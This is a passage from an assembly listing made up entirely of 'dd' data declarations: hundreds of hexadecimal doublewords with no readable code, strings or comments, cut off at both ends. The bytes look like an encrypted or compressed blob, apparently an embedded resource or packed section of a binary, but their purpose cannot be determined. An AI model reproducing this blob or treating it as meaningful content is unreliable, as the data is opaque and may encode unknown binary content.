0C0E1D10h dd 21A340F4h, 0B009810Eh, 0B3BB9880h, 0AA8A91ADh, 60A63E00h dd 0A20BE78Eh, 66B7004Bh, 5F204C28h, 5300FFCDh, 7609FCCAh dd 0B4848Eh, 63CF2AF4h, 59E9F12Eh, 11ACBC03h, 0B84CDA34h dd 0E283E68h, 0C3E6856Dh, 1C876B80h, 0CF008122h, 0D6DBFBBEh dd 1C914BB9h, 0AB4CB1Eh, 0FB8FA45h, 0F56E9759h, 63325BA0h dd 0BC3E3961h, 4C48A2h, 9AD109EFh, 0E62D19h, 0B994D985h dd 55883B4Dh, 0F8D5948h, 80D1FBCBh, 12B20118h, 8890A1h dd 5F402A0Eh, 46D9917Fh, 267C7700h, 8DF43DFDh, 85BD24A6h dd 12B7247Ch, 1390446Bh, 1E68D060h, 8981C2Dh, 283FC23Dh dd 0B61DA046h, 2500E928h, 13F1E60Dh, 6D901712h, 0FCF10042h dd 0C441C160h, 0AB29CA00h, 0E10D47Bh, 0C04300E1h, 1B21B950h dd 0C300563Ah, 0C8E018FAh, 48B194B5h, 0C13F746Dh, 9F80BD38h dd 18CFE2DBh, 3B00D382h, 750B9B38h, 1F65230Ch, 0D81F79h dd 9C3D4520h, 0BE0FAF5Fh, 800FF7C8h, 97087ADDh, 579600D4h dd 1760273h, 43A1FF4h, 4ABE3F61h, 140318FCh, 57CC017h dd 0AD4BF1B8h, 0B5AE3D00h, 1BE65026h, 3B4E0008h, 76443825h dd 211C606Dh, 17051E46h, 1CC26E45h, 6601E005h, 0E7D20081h dd 0DB7FB93Dh, 1460F0D1h, 682C30D0h, 15C40046h, 3E097EF8h dd 0E80095E4h, 0BF4A0421h, 90A22D14h, 0B8270004h, 0DF96B630h dd 495CFACAh, 40E0002Ch, 74BA88C8h, 3EF900F5h, 0B7BBEC18h dd 23001AD7h, 0FB8BFFF7h, 1F69215Fh, 4052E20Eh, 0A8653C1Eh dd 90EC579Eh, 0B42A3600h, 30CDFE05h, 678E00C5h, 0A8D7C753h dd 5469595Ch, 4580040h, 27BF97h, 4C4F7DBCh, 31810BE3h dd 0A0F25207h, 0BDC00F94h, 0FA66B4Bh, 0A523B293h, 557CDE63h dd 4800F2BBh, 0E7ECE577h, 704758Dh, 6F250E9Ah, 0B99F003h dd 0F40EDC98h, 60834EBAh, 0F3227639h, 0F16D2693h, 0ECA6E8h dd 0F712A995h, 8607CA05h, 96910CD1h, 0F5DB3EA0h, 8E7097h dd 1E8A4B3Ch, 82F2A35Ch, 1100A892h, 1F1618E3h, 0ADBD35h dd 0F57391AEh, 1994F96Fh, 0BE007B7Ch, 4F310DA4h, 1CF5E05h dd 7792E64Ah, 0F832F3FAh, 991F3BD8h, 0CB4854CEh, 14A28205h dd 18C67F4Ch, 0B0745D01h, 1BE47B4Bh, 0EAAF2D8h, 28EC6347h dd 0DB69488Eh, 9BCEA0A0h, 0CC03066Ch, 0DEED220Bh, 1542C956h dd 0FA6DC74h, 0CAA7F57h, 0DAC4501h, 16B840CEh, 6007C8Fh dd 41A5227Ah, 0DE1DE2h, 0DAEC5B76h, 0FE831080h, 0F4F81CFEh dd 1AA77003h, 8037D5B5h, 3BC4CC2h, 932DB20Bh, 25E0B8C7h dd 8B046685h, 320FDB18h, 2C78DAC0h, 0F5290080h, 0A4F716D1h dd 1E16908Bh, 830A38E4h, 3AACF9h, 0CBAC972Bh, 0FCE70944h dd 1B9C01D4h, 41201F5h, 39343477h, 946E9000h, 21E51C7Ch dd 4D6214A2h, 0D13C82E2h, 5A0558CCh, 97184F51h, 0D7EA21C4h dd 675210ADh, 7AAB00C1h, 0E2DE1C5Fh, 1507E05Bh, 0F4220732h dd 0E7600349h, 0CC0FC0Dh, 5CA30h, 6C85F2E8h, 3CAD919Dh dd 37239h, 0A14C2219h, 270388Ah, 51AC7189h, 0D048959Bh dd 5F0A4BB1h, 0BC081373h, 0E78A9C00h, 39103A34h, 2080C4D0h dd 4B795B4Ah, 2400326Fh, 0D8DE292Fh, 1714782Ah, 377116h dd 0F06063B4h, 2492E0D3h, 7062F800h, 0C765B574h, 53E656h dd 48671D7h, 0E8617E12h, 0A5EF6400h, 5A4EBF30h, 24670350h dd 860993FFh, 2F420BA0h, 145B98C0h, 52A7BFh, 9162ECBh dd 42F95C5Fh, 12003D79h, 9DD30D23h, 2ECF533h, 4FDBCF3h dd 5D40494Fh, 8EEC9396h, 822A1B3Fh, 1CDEB890h, 0C57B606Bh dd 6F550AA1h, 0B883929h, 235FFDh, 13D85184h, 0EB00D00Ah dd 9E1B76A7h, 0CBA41Eh, 23B7C4F2h, 698CD249h, 4E740B00h dd 1CD4938Fh, 13C03FC6h, 65E8280h, 0BE72BDBAh, 0F1FDAC00h dd 0FCEFCC89h, 46DF3C1Eh, 4FCE9A0Fh, 7055F20h, 6A005B14h dd 0D87912F4h, 2B26E7h, 4C01C01h, 351117ECh, 0A71ED400h dd 0C3838631h, 449A0068h, 505CC460h, 57E42209h, 9C2D9628h dd 0EC1DDF03h, 0F851C645h, 0E3897D8h, 8133D9FDh, 6CCA80DEh dd 535AD305h, 47495200h, 0D4A92CCBh, 912800A1h, 0E4AAD2B0h dd 1400712Bh, 6DA49ADCh, 1781F16Fh, 7865F34h, 0F0545594h dd 5436A31h, 0E925CD00h, 0C762C5BDh, 0F2AB007Dh, 0B9A7924Eh dd 7F7BEA81h, 5C7B48h, 794DBC37h, 585DA9h, 49672722h, 0BF334E0Eh dd 0D4701504h, 5490CEB0h, 987CD79h, 0C76A5D69h, 80996484h dd 0B93A267h, 8022BB38h, 10CA120Ch, 0F4D5BAE6h, 0D8B138C3h dd 7486DC81h, 0CC27E84Fh, 360034A2h, 3C4E87CBh, 0AA2173h dd 0F39AA4D7h, 0E986768h, 0A2606500h, 0DB06AD36h, 24D000C0h dd 93078DC5h, 0D8E827FBh, 0E467B100h, 30BB9AC3h, 0FF0F3913h dd 68927C80h, 0D39542F6h, 627D7713h, 86C6E00h, 506E9336h dd 741CFDEFh, 47E0047h, 6F72F31Bh, 90261F51h, 0D9006CF7h dd 6D60F981h, 16630021h, 0C1046411h, 0CF034BD0h, 0FB3F8247h dd 5DDFD85Ch, 0F03700A4h, 7B3D38E9h, 0DC00225Fh, 11FAFD4Ch dd 267285h, 0F8D6A762h, 52B64F6Bh, 0DF379E07h, 3CC012EAh dd 2F25C690h, 0E2D0D76Ah, 0D6A52F00h, 0C948C108h, 0F42A0074h dd 6AA078D1h, 9A035488h, 15DAD02Eh, 833ED0E8h, 45FA09h dd 87CCF5F9h, 0B647B5CEh, 0E3071677h, 48E90FB0h, 4ACBE0EFh dd 0B3B66C0h, 8C3FB92Bh, 0EA85F480h, 96E0D9B3h, 6694680Eh dd 0A64E3F6h, 6E80FF41h, 0F2FB405h, 0C42AD67Bh, 0B9874B00h dd 0AC003964h, 0A2F669B1h, 17D2F3h, 2FF9B514h, 0B76BFF4Ch dd 11393C19h, 0CC4062B6h, 0D116E9h, 573B13D8h, 0A2CE4A33h dd 0F8EEB900h, 87E9EA3Dh, 0F03C005Eh, 0C48A4CE4h, 0A72E0D6Fh dd 0E000BAA0h, 0BD87ECE1h, 6351003Eh, 0B3504F83h, 4500D2E4h dd 6B858AE7h, 0E616642Ch, 1D223EBEh, 615D3980h, 0CAB69146h dd 106AFC02h, 41939F88h, 1B20B02Eh, 200600AFh, 60D4613Dh dd 4002698h, 57B70DE1h, 1D6BD93Eh, 8056ADBAh, 497274D3h dd 0AF0181E5h, 0F0867C4Bh, 5420CE79h, 0E66307B7h, 0B0B10F0Ah dd 0A130FB56h dd 7D8C9C00h, 800B65CAh, 0F3D4E502h, 7FDA011Bh, 0A3166133h dd 0C08FD45Dh, 6B0004EAh, 0E817AD2h, 5C555B10h, 3C00F9D7h dd 92DA9398h, 0E8002B71h, 6AF708A5h, 166C51h, 3E91A29Fh dd 3FCFBC8h, 0D5002EFEh, 1E8E498Ch, 4C5C75BAh, 0BE002F14h dd 335FC973h, 91006D45h, 9D19E5DDh, 1E98A52Bh, 700B83h dd 28BC299Bh, 0CA39F399h, 2C550DAh, 43B4B204h, 8C87C442h dd 0BE3832h, 39EA84AFh, 9FC33F00h, 0EE0761C1h, 0B1130068h dd 6383A5BEh, 8400C731h, 60DABCBAh, 9D5A23h, 0FE6B9599h dd 4929E4FCh, 0FA1EE301h, 750A103Fh, 3FC68AC8h, 5898E0D4h dd 153E305Eh, 28AA4201h, 0C5AE8411h, 480BE3F4h, 9803C8B0h dd 0A47F1F48h, 30AF32A1h, 7100A976h, 4DDD8C42h, 7876E269h dd 0AA0500B5h, 65D0468Bh, 5DE83E22h, 2A732416h, 48006512h dd 0E4BCA338h, 0B64E1DEAh, 1EAC2836h, 1719FA4h, 4139FF98h dd 0DAE0FA02h, 261DD6A1h, 0EEC03890h, 219C9FBBh, 0AC1F0045h dd 848FDE6Ah, 180AA6CEh, 9C3D9640h, 24CC2181h, 25F4C512h dd 6F0600FCh, 0AA2F2634h, 0F1316D55h, 221D8E13h, 0F6E45BEDh dd 5C83006Ch, 0BB688994h, 717ADAE0h, 0FFA0A100h, 46228A47h dd 61693BB6h, 82100F80h, 1E2B9CB9h, 0D6D092C0h, 7B7FAC99h dd 0F8451C20h, 79500DDh, 8CCF70B9h, 5C7CAA16h, 0E7AD4B01h dd 0BC409D2Eh, 7F3C68F9h, 70600045h, 36EA0C61h, 4006EB4h dd 0FF2EB5Dh, 75C44E1h, 0D64AA617h, 2C4CA185h, 8F5DF840h dd 0D7AD7800h, 7E31F1F0h, 11EC001Bh, 2C4B04E5h, 6B00E488h dd 0D7A5FFFDh, 1EB81797h, 0C36AEE94h, 6E415B79h, 0D849B690h dd 0DCED9D1Eh, 0D6E51E00h, 9822F3h, 0D58DFF42h, 9806CE9h dd 118AEE00h, 8BBFCCBBh, 4D5F385Ch, 9A10BE30h, 0F150126Fh dd 7D1CC0C0h, 3C40A8E1h, 3EDA58DEh, 0A0D300BFh, 16A60B43h dd 0EA001B99h, 8BD72B87h, 0E3B5D72h, 10AE01E7h, 45B25A41h dd 0D0DBC9ADh, 553028A0h, 0FDD0126Bh, 0FB2707C2h, 3062BD5Dh dd 3642F2CDh, 0C0464E1Ch, 0E97B007Eh, 78C37326h, 3AD671F4h dd 0C2005417h, 93F29425h, 0A8C6C0E9h, 0F0B10C6Dh, 91A80E89h dd 0C31ECD5Ch, 0EB108F98h, 0F058C3E9h, 5301C675h, 7E6CF725h dd 1BD8E31Fh, 0DEB1E59h, 31C28523h, 49378063h, 37506D52h dd 0F1006248h, 0FE3C5588h, 6A312D7h, 98B0DA32h, 0D03B204Dh dd 0F78B0970h, 0AE5F006Eh, 18C5D65Eh, 48926F63h, 40C0D945h dd 23F498F2h, 0DAEE1EE6h, 8B5E40D7h, 2D9D84D0h, 0F200D1F4h dd 8A7DEF90h, 3714F19h, 0ADABBEA9h, 81807C74h, 0A01201Bh dd 3A6798CEh, 5AFC0CA0h, 5945000Eh, 0EC893160h, 0EA003E2Bh dd 9B2C6F7Ah, 1E9E495Ch, 0C00FAFC0h, 0F38E1AE3h, 361F5281h dd 0CB402DBFh, 7BFA6545h, 0E72F2510h, 470742FCh, 0E10CA76h dd 7F2D977Eh, 9B551F93h, 73078038h, 530B7D4Bh, 4E9EAC00h dd 1568CFA7h, 3C58399Dh, 0F3CBF200h, 4D63B6DEh, 0ECC03D01h dd 5AB083CEh, 0C41F80C3h, 392900EDh, 2BD3F6ABh, 0FB7C5444h dd 2C411616h, 1558A200h, 0E63E218Fh, 3176002Bh, 33754B66h dd 4D1D5B83h, 5C1D85E9h, 72B924Bh, 66105F7Ch, 37F5759h dd 0AFFFDF0Ah, 5006AB98h, 0FC7AEE75h, 0B9490868h, 0B60311EDh dd 102B91ACh, 0C18EB770h, 0AA616633h, 0B85EDh, 3C5F7D69h dd 0C7235h, 0B0541B75h, 1A263AF7h, 5B908000h, 0D71F8D33h dd 7B441D0Ch, 162BCC69h, 0A1030560h, 0F3558E3Bh, 1539D8FCh dd 1678CE08h, 0F6EF0032h, 0B4AC2ECh, 0D74DDB1Eh, 0C94F8C00h dd 1CCB5D14h, 75997EBh, 0D23820B7h, 7340AD30h, 0AA60E635h dd 9E33ABD8h, 6BB101E4h, 2AA420D3h, 0ECCFE472h, 0CCDC951Ch dd 3A331B80h, 736840h, 39A5654Fh, 139D9EA8h, 4EC22200h dd 3D32AE07h, 0C8A60014h, 0F7C63868h, 531EFA5Ah, 0E9876B34h dd 500CBCFh, 484E91DDh, 1A1ECBA9h, 0BC485DAAh, 759E8200h dd 9978D67Ch, 0E6504703h, 0C02AAB2Ch, 0FD7612h, 0D0E12F6Ah dd 31204E43h, 4D65DA00h, 42E84AB1h, 0AC6300ADh, 13792F06h dd 51079B8Eh, 0BE3123ABh, 0E848C160h, 0DCA801CFh, 9EC9764Fh dd 7BBBF066h, 2074CA00h, 0CDCF05B9h, 0E02C0509h, 2C52195Dh dd 0BF7A5A20h, 54DD0386h, 0F0492BEDh, 0B2413000h, 0FAC099E4h dd 0C8B80E09h, 378C0A3Fh, 0FD1F8721h, 803F82E4h, 0AD10D5C4h dd 8B3C0A28h, 9D48F800h, 0B84C3272h, 18D0606Eh, 6683F061h dd 764BECB0h, 0A50E7FFCh, 0B080307Fh, 60F06353h, 0C40A6400h dd 7DDB804Dh, 3A372843h, 184CF288h, 481B2BA2h, 71001123h dd 0D970B766h, 3A1E1F50h, 0B9205F8Ah, 7900237Dh, 9D0B2A6Bh dd 0B2B66Fh, 0A7CD4812h, 2D31A54Ch, 9853D030h, 0ACF054DBh dd 0E48F0480h, 38E2C066h, 8DA6007Ch, 0E12B5139h, 0E8A836F4h dd 71604D94h, 0C6E00CE9h, 0AE042A74h, 0C7AC00CCh, 613DCE19h dd 4B2A238Eh, 50F0D05Bh, 6D72B90Eh, 479F80F9h, 0E88D5E25h dd 2024608Ch, 4DF873E6h, 0B4765F0Ch, 18708864h, 71282D56h dd 0EB5C48ABh, 0D1861FD9h, 9FBA5A47h, 0DE6F2EA0h, 25570152h dd 2A1CC738h, 5E798C79h, 0B6815Fh, 524BC12Eh, 76DF1DA0h dd 0D1569902h, 0A050434Ah, 706731A8h, 27DE1ECBh, 5A280AF6h dd 729C8E60h, 62C1F824h, 1CEB26B1h, 0FC66FA06h, 17514BD4h dd 0BE9962h, 453BEE4Dh, 88125A1Ah, 98004B91h, 0FC9BC09Ch dd 0CFEB3D28h, 6079B812h, 990A7D24h, 304E7610h, 9BF82C4h dd 0EA8E805Dh, 14D6Ah, 69BE8CF7h, 40D674ECh, 60F281C0h dd 37A128Bh, 2F5A566h, 55E0C038h, 4628BB09h, 6746D453h dd 7172B502h, 593199F8h, 70F03211h, 0EF007912h, 0D610ABD7h dd 397BDFCDh, 0B0899F3Eh, 34202717h, 34249661h, 924ED1C0h dd 5BBA709h, 2CCC7001h, 12BC43B8h, 25D044C8h, 3F00C160h dd 0BC56530Fh, 1FD3141Ch, 125B7B63h, 492C00CDh, 2438C11h dd 62D0DC00h, 0C27B7438h, 0D16241Eh, 22D7809Ch, 6073EA3Dh dd 806B280Fh, 32F1C0EFh, 5CE05544h, 0B80031E2h, 73A2131Dh dd 0A0606063h, 1FBC69E1h, 1FC54843h, 16A8B00h, 28DDAF3h dd 5F394105h, 0B022D4FEh, 0A917C0EAh, 1D00037h, 7D1C9938h dd 0A400C5DBh, 5E6B1DBAh, 0C795D673h, 60ACF431h, 0C1E1A7B7h dd 0BA06171Fh, 89437700h, 93C83E3h, 518D68D5h, 0B111A01Dh dd 43FC1B87h, 9BF81D03h, 0A467C1B6h, 9EA11321h, 109EAE3Fh dd 80F61E4Eh, 0F54D7BFh, 400D9C7Eh, 313BD5B8h, 0A114040h dd 6E7610BDh, 527AC427h, 0A61610Eh, 22363197h, 5F4903A0h dd 1119D8h, 0BC906111h, 6A34D3EDh, 0F5E5AF00h, 0C468726Ch dd 70330584h, 80329255h, 0C7AECB6Bh, 0A59A8500h, 8C17D191h dd 2A350B29h, 0D1036659h, 4C926D8Bh, 95E49280h, 0FC3069ABh dd 0FD4D1892h, 0D4D60055h, 0EEB896F6h, 5A03AC19h, 44EB3377h dd 75628037h, 0A8B00BEh, 59BA1CF3h, 0FC006E8Eh, 4AA29F35h dd 556F29h, 4C74A448h, 8375EED0h, 96A0DE16h, 0C0B2D40Fh dd 0E78B9370h, 515C1BF0h, 4DC0C055h, 73C541Fh, 277886CCh dd 600894D4h, 52932145h, 0FB75B253h, 10B1AE01h, 0A221EB8Ch dd 0C08B99C5h, 0C38C9755h, 0A31B7F31h, 0C790CDBCh, 59C348C1h dd 20B8A183h, 0F9787488h, 1694F200h, 3CDEE5F1h, 0F5133189h dd 8021E708h, 16E2D930h, 17B9234Ch, 397932h, 7C8ECF49h dd 30C12D4h, 0D840576Fh, 9B4A186Dh, 0ADB37924h, 905EFA00h dd 96DE7DE9h, 58640C15h dd 37A94268h, 0CC0F1C00h, 0A5A28434h, 8EAC0073h, 61C8E6A9h dd 86071F9Bh, 177EEA65h, 0D1714C5Fh, 9C330D03h, 0F0106E41h dd 0D8C4E6F7h, 0EE30757Ah, 0E510E716h, 0E8C43B4Eh, 8000162Ah dd 9ACEE16h, 90F903DAh, 3D07D324h, 92E34003h, 34667FDh dd 0CA28F551h, 15A08C79h, 0CD3AC053h, 94141207h, 60E22C40h dd 5D279Ah, 6BE1AEFh, 2FD575EBh, 15E06B00h, 3F30380Fh dd 90165499h, 7ACB05E9h, 458DDD9h, 0F6D8D9Ch, 2601C3EBh dd 8EF4E8C8h, 898E396h, 77FC3939h, 0AAC20B00h, 82417B49h dd 0CECB0A8h, 0EF08CF59h, 17002448h, 2DC24234h, 31B9E16h dd 0F0FF35BEh, 9D8B884Dh, 0F146E498h, 0F367B600h, 962D09A3h dd 7ADF03CCh, 0A276470Dh, 3F8CD0B7h, 9D5C30EFh, 1C451F9Bh dd 3807740h, 0B1AB0Bh, 973EB0F0h, 0FD3DED38h, 0D1E0B700h dd 0DFF7DAE1h, 0B12607E2h, 90EEE95Eh, 0E756C0D4h, 0E000027Bh dd 1CF699B6h, 0D06FAh, 206D77F2h, 85372198h, 4C90590Fh dd 81E6ACFBh, 942B00F6h, 4402DC5Ah, 0FEF09C0Eh, 0F2419E00h dd 781FBEA3h, 0F3100E37h, 0CD80830Bh, 1692244Ch, 5CA6CF00h dd 8B69B43Eh, 712300AAh, 36A212B9h, 0B50F7C10h, 2B9649FEh dd 0C41006Dh, 17ECE4Fh, 0D471D9C9h, 9F9CF791h, 6606080h dd 46094D85h, 0AB007008h, 8A0438E7h, 353D216h, 2CF0DBE2h dd 20D82449h, 71072D61h, 3A67A651h, 50066480h, 0FA9700C3h dd 0D616C999h, 3B33B4C0h, 0F78FF8F2h, 0F40EA291h, 9BBCC8h dd 0AB837206h, 0D2494F92h, 11E13B01h, 1ADE0BDCh, 8DE080D6h dd 5CF279Bh, 0A0B7A72Eh, 6500FF3Bh, 9D31BD32h, 0E2E80051h dd 0AD9FBCFAh, 0C700DDDCh, 0A3F92414h, 0BE0123h, 0A9DF6DC3h dd 0F2C44873h, 381248h, 6BD0EF16h, 1B13FBDh, 0BBA6E00Dh dd 0E0388FFBh, 10167C0Fh, 4F00DBCEh, 3D9B0540h, 597F085h dd 5EE1B78Dh, 51E001D5h, 60FBBC46h, 0C0A0B973h, 9C0C8121h dd 0C0A55D8Fh, 0CEE60090h, 0B3AC3A86h, 0A17B30E0h, 5C4780DDh dd 65F097C5h, 0FE384EA4h, 0E5640011h, 29E27A1Dh, 3D0073CCh dd 0EA26D618h, 5520BA0h, 5110BB98h, 0C8046C9h, 30050C8h dd 8F4A8747h, 739F5Bh, 0B9FBA310h, 44A80706h, 0AB5CFC00h dd 1FADBA3Eh, 39A5EC81h, 58898A87h, 6027DFF1h, 0A6C2A031h dd 360020E4h, 0A37B3406h, 90B4E611h, 7CEC0080h, 9897661Eh dd 62004E5Dh, 0DC72EE5Fh, 48D52575h, 0F0002011h, 2D1233AEh dd 0C2C9AE7h, 8400E38Eh, 2447976Ch, 96E128CFh, 0A6FE00CAh dd 45E2C8EAh, 1C495787h, 43FC0040h, 800B3FA3h, 0F31036Fh dd 0AF256AABh, 2D48809Dh, 0A93A89FBh, 0B171FFD5h, 11D19D00h dd 4B3E5856h, 5BE07Ch, 9739C588h, 2AC6642h, 0B0951126h dd 9FBD1707h, 56E2CE70h, 0BEA500EEh, 879A599Dh, 0C626A72Bh dd 95032012h, 9CFC5E6h, 23279654h, 21928020h, 0BB163D74h dd 3C648620h, 0E5F32CC0h, 0D0334CEEh, 291DC4h, 0C01550D3h dd 0B06A7E54h, 58DA09A4h, 94989A4Fh, 27110A7Dh, 3F88E5C8h dd 5850980h, 260C625h, 0BEB8A6C0h, 8FE0F408h, 0D80F8979h dd 13F374h, 0B1AD84AFh, 7BFC05F8h, 0D39A6669h, 38D83618h dd 0A206A36Fh, 87D3A15Ah, 53FC00C1h, 0B5DE7A78h, 0E6782D1Bh dd 900577Ch, 8FDFD548h, 221123h, 853AB73Ch, 0DA31C8CCh dd 0E59044h, 0B1AA03BDh, 3430D027h, 22F69A0Eh, 7A7BE085h dd 62560BBCh, 596F20BDh, 64F2F063h, 9323209Ch, 20B90E9Bh dd 0F780B8D5h, 0C6E5EC16h, 0CB103C43h, 0E1CC1320h, 0E9399501h dd 0C9D84FD1h, 0A8F17A83h, 4192C8h, 0AB3DA3EEh, 0B2FED9D4h dd 596D3218h, 2BB17A41h, 7204F0AFh, 78045408h, 4EF872B3h dd 304105Ch, 0AEA2868Dh, 2609008Eh, 0E489C9B8h, 3CE8CAB2h dd 20491CA1h, 0E73CCE64h, 187D3458h, 80CF204Fh, 3C4B949Ch dd 92CC3EC8h, 98539D99h, 5009B29Fh, 8188BA3h, 8D1B4C8Ch dd 6278A669h, 0F0ED1972h, 71641C86h, 0D4A10C3h, 5034E57Ch dd 602A105Fh, 68C8BC29h, 72000421h, 0C9A14B8Dh, 81946609h dd 482C9D8h, 0B3C1C30h, 92F1BA1Ah, 0BE0C1108h, 8CB71441h dd 0A124C43h, 0BA197190h, 8608A244h, 6E090050h, 0B87DA8F9h dd 0BF0A76D3h, 70655143h, 72F48780h, 0A02D2F02h, 0A52E88F8h dd 5F04E8FCh, 0F86E558h, 9BF2ED64h, 59FC0FF0h, 0DC2CC0F4h dd 7C6EFD2Fh, 72DE017Ch, 0F328C72Eh, 92288059h, 87F12DBh dd 56BA30B0h, 2AF49F19h, 0BE386E63h, 7F507EECh, 4458C7B1h dd 4831F6A8h, 0D0BA8307h, 3CC0FA61h, 7FD3991Dh, 5C5730C8h dd 0B982E960h, 5DBC0A18h, 1E3C710h, 0C22E3864h, 40FBF127h dd 39D0BB34h, 884883EBh, 804592B2h, 0E48EE82h, 6D5CBAC8h dd 0E35DB380h, 915C71A1h, 3A3C00D8h, 0AFEF57EDh, 23A8CFEBh dd 84BF0A6h, 7F2FE717h, 19C03518h, 486C83F4h, 0E82F0890h dd 0B71E03E7h, 9E8D4DC1h, 22C028EAh, 61E8B8D3h, 32C5F800h dd 0AC9C2C3h, 0EB3B004Dh, 452E46CAh, 0D9C32998h, 816C8AFCh dd 8C402F99h, 0C0821BC2h, 0F02C1DE9h, 910AC802h, 0A4C34046h dd 0D133DF82h, 755AC067h, 0F4D84CF5h, 2AA3DD01h, 814E404Ch dd 467DE929h, 0EC51F941h, 8840706Dh, 2EDA9CAh, 7CE5DA60h dd 0D583D7EBh, 4DA1D102h, 0E1784641h, 0B2085B60h, 60DF6067h dd 546C382Fh, 9C00ED66h, 0B0516EB4h, 31BAACABh, 3C21B66Fh dd 0CAB04068h, 0A1C5C74Eh, 0B44AE4EFh, 3E0FACFAh, 466080E6h dd 0B25D87h, 0AC0B2B8Fh, 0AF420AC8h, 51DABA0Dh, 0A81D485Ch dd 48621083h, 0CEC0C0F6h, 41240E6Dh, 3C8838CAh, 2C1F3CEDh dd 8EEA8AB9h, 130150B8h, 27412086h, 8CB2F800h, 0F6C391C9h dd 0F30C006Bh, 285B58D1h, 0A20019FEh, 44DE6F2Ah, 12DF8BCBh dd 52EEEF56h, 7761E20h, 0A0C102F1h, 2B802E4Dh, 0B5B60A18h dd 1ED27330h, 1DBA1BA9h, 20E0CE55h, 6BFD6180h, 0AC0775EFh dd 1EB01F4Fh, 57E86361h, 0C0625024h, 0DEC976D9h, 0D7A1C1AAh dd 24BC2087h, 72906A50h, 0B86C3C2Ah, 30C9CD33h, 69F9B8D9h dd 5DDF24AFh, 18D8A0D0h, 8741B39h, 8CA58F51h, 424A508h dd 92624134h, 84B0744h, 0A8D9E599h, 0D2491C81h, 0ED0A1218h dd 0F0DE3071h, 2C401435h, 2827F1C1h, 404CEB9Ah, 0A579BAE6h dd 0CCC07983h, 0B0913FF1h, 44183D0Eh, 0CD5800BBh, 673C33Ah dd 546D3748h, 6CA8406Fh, 4AB00AEDh, 401FC703h, 19F3BF55h dd 2868EF91h, 0A2424D8h, 603C841Ch, 7202886Ah, 0A9C9BFB3h dd 0EC5890F6h, 1479745Ah, 4843EF60h, 58B54080h, 2E004C44h dd 7BC2CFE1h, 1F84C4C1h, 461FC5ADh, 0B045045Fh, 870BE83Ah dd 56A9C80Ah, 0C1B801C9h, 0FDD0B154h, 4CC49053h, 439F7863h dd 44F45559h, 0DE537101h, 85414C14h, 0B0706840h, 49B0A15Dh dd 903439A8h, 64D4305Ch, 7AEBD739h, 0C5A3C900h, 43489DAAh dd 0B37187h, 383171D2h, 0AC4B499Eh, 68D0DF18h, 788A4A48h dd 8C2A52ADh, 337521Fh, 8356B691h, 1F5B8100h, 2B26C1B2h dd 0A3CE886Fh, 1028D731h, 0C500E57Ch, 601380E6h, 5C0831D1h dd 7CC8A8B0h, 0A9580C8Ch, 0B103E35h, 4BD36A00h, 0C4224ACCh dd 0C8BE5055h, 1509A23h, 324F879Dh, 0F0ACF69Ah, 9813B6BAh dd 0F8037084h, 0B4ED51CBh, 1CD20488h, 4FC52497h, 73C32185h dd 0CEA2468Dh, 3DAD0048h, 22722400h, 1A6D5E5Dh, 55180053h dd 0BB3C20D7h, 0C109AD5Fh, 20F52B16h, 0D2879C08h, 0CC07686h dd 2EE5ECCh, 80A85608h dd 0DD008E72h, 0ADA02B89h, 32A46Eh, 0FA6B332Ch, 0AFCDAA3Ah dd 6F12B401h, 4E8CBAF7h, 0A27D1889h, 2BC83305h, 0D92360h dd 8661DAAAh, 74EA8856h, 9DDEE208h, 41D0264Ch, 485CC1AEh dd 0D2088564h, 0C402C074h, 923C4041h, 13F37DDh, 844EE2BCh dd 0DC5FB2BFh, 61037132h, 0F2FAC155h, 0A01EAA85h, 0B287CDE8h dd 70530E80h, 1DE1C06Dh, 80ABC18Fh, 0B28D6221h, 3E0B8CA6h dd 1181D37Ch, 0CF2C5F6Fh, 4844442h, 314D73E0h, 0C5EC2499h dd 0DA448C95h, 243F00B3h, 13D93490h, 8C5CC517h, 0DBE7061Ch dd 60C027h, 3B4989BBh, 8292672h, 0F7BE6600h, 5D0628E8h dd 40FE3C7Ch, 0BCB07380h, 4016ADAh, 0FFE1753Bh, 0E902CB1Ch dd 0B137DE00h, 0E2927FB3h, 0E8B000F6h, 0D15905E7h, 2000D962h dd 5AF7D30Dh, 0F784EAAh, 927AA808h, 0C4FEC43h, 0E43F5288h dd 0FD07377Ah, 0BA4F94Bh, 0C030C433h, 609951h, 7CC1C8BAh dd 8ADC9AB3h, 35FF500h, 71CE81C9h, 0FB18006Eh, 70A5288Fh dd 34009D0Ch, 179E5AE0h, 0F29A8Eh, 375571C2h, 0A5882340h dd 62046B00h, 906002A3h, 0CB44C0ABh, 290592CAh, 2DD9FF03h dd 0D5EF6361h, 54EEB601h, 0A0E3C1F2h, 79080BD7h, 82C000F5h dd 26ACF76Eh, 0CE00FA78h, 530699DAh, 79CA7A44h, 0CB970D79h dd 0E608D2C3h, 0EC057517h, 0ABC066BCh, 0F8CC068Eh, 0F7873E7Fh dd 0D3433D03h, 52D80E98h, 44000793h, 997CEB78h, 187FB4C1h dd 28E664C5h, 0E11F37h, 803C236Ah, 12889B08h, 0ABE9408Bh dd 44941E44h, 9844F456h, 798C631Dh, 2908228Fh, 842F245h dd 0BD889A20h, 86839086h, 0FB5151F8h, 32629408h, 22216779h dd 0B82524B1h, 91AA6406h, 115B4229h, 0E4212876h, 799A870Ch dd 4E0288FFh, 0C9851A00h, 3CF173ADh, 1B9C006Ch, 63FF234Ah dd 0BF26B8BCh, 0F600D421h, 163B7FB6h, 76882602h, 0AB2611h dd 87277A6Dh, 6F00DC77h, 6A967B8Eh, 0C02EB26Bh, 0BC7D1E59h dd 92005BE8h, 0E15A018Ch, 0D0DDDEh, 5726212Eh, 756E2927h dd 0A1E70600h, 0F9C14F67h, 6CD80087h, 9D355946h, 0FA00D1BAh dd 0B01FBBDh, 0AAD3D6h, 0D7B7BF4Fh, 0EDDD3E5Ch, 0FB00A472h dd 0CDADC542h, 48CB39E8h, 0E53D1462h, 881A020Eh, 0EBE02040h dd 26186A5Ah, 0D061088Ah, 8C9E0705h, 0F0D1FE16h, 25685BF2h dd 7D37A000h, 5C1B6381h, 0A5D31C95h, 8D24C785h, 0C31961BCh dd 11B02E7Ch, 1860033h, 0FBC0C880h, 3207D9C4h, 0F8504FF0h dd 95D1EA60h, 9C21006Ch, 0E94733FDh, 300A2E8h, 91998D28h dd 0D70746h, 411F2524h, 855661CFh, 3E8E6500h, 0B70B5EBCh dd 1BAE001Ch, 1FD35B1Dh, 0F60028B9h, 3A484534h, 0F3E8A54h dd 8CF42655h, 865F1180h, 12009C58h, 5E830168h, 5780Ah dd 720E2C26h, 2FFBAA34h, 867C6500h, 7F369038h, 0B0A6005Eh dd 749B9E98h, 22738D33h, 191E7C00h, 